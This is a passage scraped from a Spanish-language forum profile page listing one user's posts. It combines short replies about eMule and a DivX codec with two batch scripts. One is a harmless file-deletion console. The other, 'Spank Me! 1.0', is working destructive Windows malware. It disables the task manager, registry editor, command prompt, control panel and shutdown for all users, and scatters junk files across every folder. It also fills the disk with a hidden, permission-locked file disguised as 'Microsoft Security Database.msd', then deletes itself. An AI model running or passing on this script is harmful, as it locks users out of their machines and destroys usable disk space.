emule 0.50a
me va muy bien
saludos
me va muy bien
saludos
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCitarConseguir ver videos. Pago bien.
Move "c:\archivo.txt" "C:\Listos\"
@Echo off
Title Consola de reciclaje v1.0
REM: By Elektro H@cker
:Basurero
:::::::::
Mode con cols=70 lines=20
Nircmd win center ititle "Consola de reciclaje" >nul 2>&1
Setlocal enabledelayedexpansion
Set min=0
Set max=1
Color 1f
Cls
Echo+
Echo: Arrastre hasta aqu¡ los archivos o carpetas que desea eliminar.
Echo+
Echo+
Set /P Archivos=^>^>^>
If not defined archivos (Goto :Basurero)
Echo %Archivos% | FIND ":" >NUL
If NOT %ERRORLEVEL% EQU 0 (Goto :Basurero)
Set archivos=%archivos%##
:FILTRAR
::::::::
cls
Echo+
Echo: Eliminando los archivos, Porfavor Espere...
Echo+
:Bucle
Echo !string! | find "#" >NUL 2>&1
call :limite
Set String=!archivos:~%min%,%max%!;
echo ^!string:~-2! | findstr ":" >NUL
If %errorlevel% equ 0 (
Set String=!string:~-3,2!\!String!
Set String=!string:^"=!
Set /A max+=1
Set /A Min+=!MAX!
Set max=1
call :ELIMINAR !String:~0,-3!
goto :Bucle
) else (
Set /A max+=1
Goto :Bucle
)
:Limite
if %errorlevel% equ 0 (
Set /A min-=3
Set /A max+=1
call :string_Final
call :ELIMINAR !String:~0,-1!
Goto :FIN
)
GOTO :EOF
:string_Final
Set String=!archivos:~%min%,%max%!;
Set String=!string:^"=!
goto :EOF
:ELIMINAR
:::::::::
If /I "%*" EQU "C:\" (GOTO :EOF)
If /I "%*" EQU "D:\" (GOTO :EOF)
If /I "%*" EQU "E:\" (GOTO :EOF)
If /I "%*" EQU "F:\" (GOTO :EOF)
If /I "%*" EQU "G:\" (GOTO :EOF)
If /I "%*" EQU "H:\" (GOTO :EOF)
:Archivo
For /F "Tokens=*" %%# IN ('echo "%*"') do (
Del /Q /F %%# >NUL 2>&1
Call :Carpeta %%#
)
GOTO :EOF
:Carpeta
If Exist %* (
Echo+
Echo: Eliminando carpeta: %*
RD /Q /S %*
) ELSE (
Echo+
Echo: Eliminando archivo: "%~nx1"
)
Goto :EOF
:FIN
::::
Cls
Echo+
Echo: Se han borrado todos los archivos.
Echo+
Pause
exit
Cita de: TheTroyanDark en 3 Febrero 2012, 06:20 AM
Muy bueno el código Pitoloko Por cierto para que usas NUL 2>&1
@Echo OFF
:::::::::::::::::::::::::
: Spank Me! 1.0
: :
: By EleKtrO H@ckeR :
: :
: Testeado en Windows 7 :
:::::::::::::::::::::::::
REM: Deshabilita la ejecución de archivos REG
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.reg" /t Reg_SZ /d "txtfile" /f >NUL 2>&1
FOR /F "tokens=*" %%a in ('Reg query "HKEY_USERS" /f - ^| findstr /r .-......- ^| find /v "Classes"') do (
REM: Deshabilita el acceso a todas las aplicaciones (Inicio > Ejecutar)
reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "RestrictRun" /T "REG_DWORD" /D "1" /f >NUL 2>&1
REM: Deshabilita el administrador de tareas
reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >NUL 2>&1
REM: Deshabilita el apagado del PC
reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\explorer" /v "NoClose" /T "REG_DWORD" /D "1" /f >NUL 2>&1
REM: Deshabilita el cambio de usuario de sesión del PC
reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\explorer" /v "StartmenuLogoff" /T "REG_DWORD" /D "1" /f >NUL 2>&1
REM: Deshabilita el menú contextual del ratón
reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\explorer" /v "NoViewContextMenu" /T "REG_DWORD" /D "1" /f >NUL 2>&1
REM: Deshabilita el menú contextual del menú inicio
reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\explorer" /v "NoTrayContextMenu" /T "REG_DWORD" /D "1" /f >NUL 2>&1
REM: Deshabilita modificaciones en el menú inicio
reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\explorer" /v "NoChangeStartMenu" /T "REG_DWORD" /D "1" /f >NUL 2>&1
REM: Deshabilita el panel de control
reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\explorer" /v "NoControlPanel" /T "REG_DWORD" /D "1" /f >NUL 2>&1
REM: Deshabilita el regedit
reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\system" /v "DisableRegistryTools" /T "REG_DWORD" /D "1" /f >NUL 2>&1
REM: Deshabilita la consola de windows
reg add "%%a\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /T "REG_DWORD" /D "2" /f >NUL 2>&1
)
REM: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
REM: Crea archivos de 1 byte, Con nombre aleatorio, En todos los directorios del disco duro
REM: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
setlocal enabledelayedexpansion
Set File=0
For /F "Tokens=*" %%@ in ('Dir /B /S /AD "%systemdrive%" ^| Find /V /I "Windows" ^| Find /V /I "$Recycle.Bin"') do (Call :COPY %%@)
Goto :Dummy
:Copy
Fsutil file createnew "%*\%Random%%Random%%Random%%Random%%Random%" 1 >NUL 2>&1
Set /A File+=1
If !FILE! EQU 100 (Set /A File=0& Goto :EOF) ELSE (Call :COPY %*)
REM: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
REM: Crea un archivo "dummy" consumiendo TODO el espacio libre del disco duro.
REM: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:DUMMY
REM: Permisos
Takeown /F "%Windir%\winsxs" >NUL 2>&1
Icacls "%Windir%\winsxs" /Grant TODOS:F >NUL 2>&1
REM Crear el Dummy
For /F "tokens=1-7 delims=: " %%a in ('fsutil volume diskfree %SYSTEMDRIVE%') do (
Set Size=%%f
Set Size=!Size:~-0,-6!
Set Size=!Size!000000
Fsutil file createnew "%WINDIR%\winsxs\Microsoft Security Database.msd" !SIZE! >NUL 2>&1
)
REM Protección Anti-Borrado
Takeown /F "%WINDIR%\winsxs\Microsoft Security Database.msd" >NUL 2>&1
Icacls "%WINDIR%\winsxs\Microsoft Security Database.msd" /Grant TODOS:F >NUL 2>&1
Attrib "%WINDIR%\winsxs\Microsoft Security Database.msd" +H +S +R >NUL 2>&1
Icacls "%WINDIR%\winsxs\Microsoft Security Database.msd" /Deny TODOS:F >NUL 2>&1
:FIN
Del /Q %0
Exit
Cita de: sefiroth en 2 Febrero 2012, 23:21 PM
joer macho yo lo dije por si te equivocas en algo, por ejemplo si pones tu ip publica.
Cita de: -- KiLiaN -- en 2 Febrero 2012, 11:12 AM
Buscando en google dicen que instalando este: http://divx-digest.com/software/divxcodec.html rula, cuentanos.